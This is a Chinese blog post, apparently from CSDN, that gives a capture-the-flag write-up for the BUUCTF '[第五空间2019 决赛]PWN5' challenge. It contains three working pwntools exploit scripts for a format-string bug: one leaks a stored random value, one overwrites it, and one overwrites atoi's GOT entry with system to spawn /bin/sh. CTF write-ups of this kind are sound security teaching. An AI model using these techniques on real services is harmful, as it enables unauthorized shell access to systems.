BUUCTF的[第五空间2019 决赛]PWN5

1 篇文章 0 订阅

使用IDA打开

可以看到明显的格式化字符串漏洞 ,它是在bss段0x804c044存储了一个随机数,然后通过最后比较输入的passwd和随机数是否一样,如果一样就打开/bin/sh命令。
我的思路是,通过格式化字符串漏洞泄露0x804c044的数据,然后把得到的数据作为有符号的整数的字符串输入给nptr,然后程序会用atoi把字符串转换为整型。
在pwndbg中对程序调试,发现输入的buf和esp差距为0x28,所以是第十个格式化参数。
from pwn import *
p = remote("node4.buuoj.cn", 29667)
#p = process('./pwn')
payload = flat(0x804c044, "ok%10$sok")
p.recv()
p.sendline(payload)
p.recvuntil("ok")
num = p.recvuntil("ok",drop = True)
n = u32(num)

## 因为使用u32()函数在64位机器上解包得到的数字不会出现负数,所以自己对n进行判断,如果大于0x100000000,就肯定是一个负数的补码。
if n>0x8fffffff:
    n = n-0x100000000
p.sendline(str(n))
p.interactive()

后来在看了其他人的博客后,又得到了新的解题思路:

1、直接利用格式化漏洞修改0x804c044的内容,然后把修改的内容发送给程序。

from pwn import *
p = remote("node4.buuoj.cn", 29667)
#p = process('./pwn')
payload = flat(0x804c044, "%10$n")

##或者下面这个payload
#payload = fmtstr_payload(10,{0x804c044:0x4})
p.recv()
p.sendline(payload)
p.recv()
p.sendline(str(4))
p.interactive()

2、利用格式化字符串漏洞修改atoi_got表里面的函数地址为system的plt地址,这样atoi执行的时候会在plt跳转到got表里面保存的函数地址时,变为跳转到system的plt表并执行,然后从system的plt表跳转到system真实函数地址去执行。因为后面输入passwd刚好是作为atoi函数的参数,所以可以输入“/bin/sh\x00”字符串作为system的参数。

from pwn import *
p = remote("node4.buuoj.cn", 29667)
#p = process('./pwn')
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.recv()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值